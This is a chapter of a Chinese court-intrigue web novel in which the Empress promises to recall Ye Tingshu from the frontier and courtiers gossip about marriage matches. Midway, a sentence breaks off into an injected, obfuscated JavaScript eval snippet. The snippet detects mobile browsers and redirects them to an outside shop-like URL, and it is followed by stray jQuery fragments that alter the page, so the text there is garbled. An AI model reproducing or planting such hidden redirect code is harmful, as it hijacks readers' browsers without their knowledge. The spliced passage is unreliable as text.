70. 暴风雨前的狂欢

作品:《黑白戏棋

    宋怀夕听完女帝询问奖赏的话语后,一直低着头不说话。


    陛下以为她在发呆,还特意询问了一遍,“这次的奖赏,你想要什么礼物?”


    宋怀夕依旧不说话。


    好在陛下离她很近很近,近到她一回头就能看清宋怀夕泛红的双眼。


    女帝看清宋怀夕强忍的泪花,开始回忆自己是否有地方做得不够到位……


    直到陛下第三次重复自己的话语时,宋怀夕才抬起头来,坚定地说道:“陛下,我想要叶庭书回京。”


    陛下听后并不意外,继续写着手中的文书。但是为了顾全宋怀夕的情绪,她还是问道:


    “理由。”


    宋怀夕强忍哽咽,“信中来报,说叶庭书虽荣获功绩,但身受重伤。就算如此,叶庭书还是为了完成陛下的意愿,强忍重伤,上阵杀敌。我还想多看看她……”


    宋怀夕的声音越说越小,小到陛下根本听不清最后几个字。


    长期弯腰写字也让人头疼不已,女帝站起身来将书案上的文书尽数理好。


    陛下忙着手中的工作,依旧开口提醒道:“朕只是让叶家出力,并未强制要求非某人不可。叶庭书……是她母亲派去的。非要说是遵随某人的''旨意'',也应该是她母亲……而不是朕。”


    宋怀夕心里憋着火,本就对叶母偏心行为感到极其不满。如今陛下这么说,宋怀夕自然气到皱紧眉头。


    宋怀夕:“叶庭书的母亲本就偏爱她妹妹,陛下又不是不知道这事!”


    女帝轻笑。


    宋怀夕还在生气,“陛下当初就该指名道姓,把叶庭书的妹妹派出去!她母亲总是夸她妹妹比叶庭书厉害……”


    陛下笑着看向宋怀夕,婉言劝导:“要是朕真这么做……叶庭书未必比她妹妹长寿。其次……”


    陛下后面的话没说完,看着宋怀夕固执的表情,她也不好多说什么。


    陛下就笑笑,没有说话,继续低头忙着手中的工作。


    宋怀夕嘀咕道:“人都快没命了,要那么多荣耀做什么?”


    女帝:“要是身死于边疆,为国捐躯,也是世人惊叹的少年将军。”


    宋怀夕不乐意了,连忙开口阻止:“生前受罪,死后''享福''。她母亲倒是打着如意算盘,左右都不吃亏!”


    陛下挑眉:“原来你也知道这些啊~”


    宋怀夕为自己的才华辩解着:“我又不傻……”


    宋怀夕与叶庭书的关系,好到宋仁旭都不愿过多劝阻。因为宋仁旭知道,自己说太多都无济于事,宋怀夕是不会听的。


    如果叶庭书真的在前线身负重伤,落下残疾。叶母只需将这则消息带回应天城,宋怀夕知道此事后,自然不会坐以待毙,视而不见。


    倘若将叶庭书换成叶家旁人,哪怕这人死在前线了,宋怀夕只会根据叶庭书的反应,做出对应的安慰措施。


    就算叶母赌错了,叶庭书与宋怀夕两者的友谊深厚,导致叶庭书惨死于边疆。凭借叶庭书的实力与性子,她绝对不会让自己母亲蒙羞的……


    叶家不止叶庭书这一个女儿,但宋怀夕只有叶庭书这一个朋友。


    所以……


    叶母赌赢了。


    面对宋怀夕的固执,女帝很是无奈。


    没有办法,如果宋仁旭还在世上……


    她不会让宋怀夕处于独立无援的地步。


    更何况……


    陛下站直身体,抬头眺望远方。手上的毛笔还在滴墨,显然心思已经魂不守舍。


    女帝回过神来,点头道:“等这场战打完了,朕会让她回来的。”


    宋怀夕有些心急,上前说道:“这要好久呢!”


    女帝对她许诺:“朕会加大兵马,为老二助力,让她速战速决。其次……你很快就能看见,自己心心念念的少年郎~”


    宋怀夕听见此话后,笑得合不拢嘴,连忙说道:


    “多谢陛下开恩!”


    事情顺利进行,一切显得如此宁静。


    宁静到宋怀夕开始悼念母亲的离世。


    大皇女死前亲口跟宋怀夕透露,宋仁旭并非她所杀!大皇女神情严肃地警告宋怀夕,当初她之所以给宋仁旭下毒,无非是为了提醒宋仁旭。


    “那点毒量,根本不致命!最多让人夜不能寐,头疼目晕!多休息几天,足够缓解自身毒情。”


    大皇女厉声分析道:“你还不知道吗?是有人借我之手,暗杀你母亲!将你母亲的死,全部归结于我的身上。这样你就能光明正大与我为敌,哪怕某天你在朝中将我一刀捅死。我也是死得其所!”


    宋怀夕哽咽不语,内心的活结再次被大皇女的话系死。


    如果不是大皇女暗下杀手,那到底是谁让母亲死于非命?


    没有人深夜前来告诉宋怀夕答案。


    明月高照于天边,繁星依旧闪耀光辉。


    京中倒是热闹得很~


    应天城就算换了东宫之主,依旧不改往日闹腾的作风。


    小陈大人——陈延斌,为姐姐新修陵墓。事成之日,陈延斌特意绕道赶往太庙,三叩九拜跪谢宋仁旭生前相助。


    白生海在王,柳两家扶持下,成功在朝廷之中站稳脚跟。白生海大喜过望,大张旗鼓地打扫母亲遗留在应天城的白府老宅。


    如今,父亲的遗物全部归回于自己名下。白生海真的是要多高兴,就有多高兴。


    当年继父所居的小院,已被白生海推翻重建。


    在宋怀夕的“建议”下,将原址修建为人工亭湖。湖边种上柳树与枫树,无论是开春还是入秋,都能坐船游玩此处。


    等事成之后,宋怀夕与三皇女各备厚礼前来观湖。


    湖面辽阔大气,让两人站在长桥之上,都能清楚地看清,当年白大人对续弦的偏爱究竟深到何种地步;也看清白生海不愿言说的恨意,究竟深到何种境界……


    沈玉泽贵为前任皇太女侧室,竟然能够全身而退?!


    这则消息让宋怀夕很是震惊。


    虽说两者成亲没有多日,沈玉泽未获得大皇女宠爱,但也不至于能够全身而退。


    孔家因大皇女缘故被发配边疆,大皇女遗女因病永逝途中。


    白生海上朝时凑在宋怀夕的耳边嘀咕道:“听小道消息讲:皇后为了斩草除根,恶意为之。”


    宋怀夕听后没有理会,王氏如此心狠手辣,但凡与大皇女有关的人员尽数赶出应天城。


    这样的人竟然能容忍沈氏留在京内?


    虽说是在郊区佛庙内,抄经拜佛为国祈福。但也不至于毫发无伤,仁慈至此吧?


    这肯定是多方势力暗中操纵的结果!


    要是大皇女还存活于世,被她得知自己的心上人听见自己死讯后,随即吊死在屋梁之上。她肯定气到拿起宝剑,就冲到皇后寝宫中,将此人乱刀砍死!


    没办法~


    谁让大皇女


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137885|192467||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    生前,只要自己在心上人那边受了窝囊气,转头就将火气洒在皇后与王家头上呢?


    苏望舒被贵族少君上门提亲。陛下有意封死消息,可惜白生海还是主动透露具体实情。


    没办法,学宫里谁不知道宋怀夕与苏望舒的关系非同一般?


    也就是叶庭书那个傻子,总是看不上苏望舒……


    哦,对了!


    叶庭书收到陛下圣旨后,急速返回应天城。


    掐指一算,怕是下个月就能在应天城见到本人了~


    白生海一想到这里就感到头疼……


    叶庭书那个家伙,性子极其嚣张跋扈!不愧是京城双瞎~宋怀夕虽与叶庭书关系最是要好。可宋怀夕至今还认为叶庭书的性子,有多么良好温顺~


    白生海小时候听宋怀夕描述叶庭书,把叶庭书夸得跟小羊羔似的……


    白生海想起叶庭书大闹学宫的场景,就铁了心地认为宋怀夕眼瞎!


    白生海:“她是真瞎啊啊啊——”


    小时候性子如此跋扈,长大那还了得?


    怎么一提到宋怀夕的美郎君就想起叶庭书呢?


    白生海连忙摇头,让自己保持清醒状态。毕竟她可不想见到叶庭书那个混世魔王……


    自从宋怀夕得知苏望舒有意与旁人成亲后,可把宋怀夕给急地求着三皇女一起出歪招,搅和苏望舒的各种说亲场面。


    白生海回想起那个场面,连连摇头。


    白生海亲眼看见宋怀夕对苏望舒许下的各种诺言后,在三皇女身边悠悠地说道:“这架势,干脆把我弟弟嫁给她得了~”


    三皇女在一旁摇扇微笑,“早不说亲,晚不说亲。现在倒是急了~”


    白生海叹气,摆手耸肩道:“没办法哦~某人就想着把位置打扫干净后,再盛装邀请他当座上宾。”


    三皇女挑眉,折扇挡住意味深长的笑意,眼中的不屑始终偷留在苏望舒的背影上。


    当然,这微妙的情绪变化,被白生海精准捕捉。


    白生海心中浅笑不语。


    毕竟……


    拙劣的手段只有自己心上人,愿意无脑接收。


    白生海看不下去了,见两人越走越远后,才低声对三皇女说道:“要是叶庭书在场,她肯定不准两人有机会如此亲密~”


    三皇女浅笑:“所以母亲让叶庭书回来了。”


    白生海一愣,瞬间明白全意。


    白生海点头笑道:“陛下中意柳氏呀~”


    三皇女听见这话,反而感到稀奇。她回头故意上下打量起白生海,用震惊的语气反问道:“不是柳氏中意宋怀夕吗?”


    “?!!”


    白生海不可思议地瞪大双眼,这跟自己听到的消息不一样啊~


    柳家哪位公子这么中意宋怀夕?


    白生海一时半会……还真没反应过来。


    她呆呆地问道:“谁呀?”


    三皇女笑着打岔:“人都走了,我们赶快跟上去吧。”


    见三皇女有意回避自己的问题,白生海也不好继续追问。毕竟像这种占有桃花的小道秘密,都无需自己用心打听,只要几场宴会就能全部得知实情……


    可惜刻意隐藏的秘密,能被外人知晓实情,那只能说明知晓实情的人,转变成别人棋盘里的棋子。


    而真正的掌棋人,玩转着手中的棋子,温良一笑:


    “这日子……真是越过越有意思了~”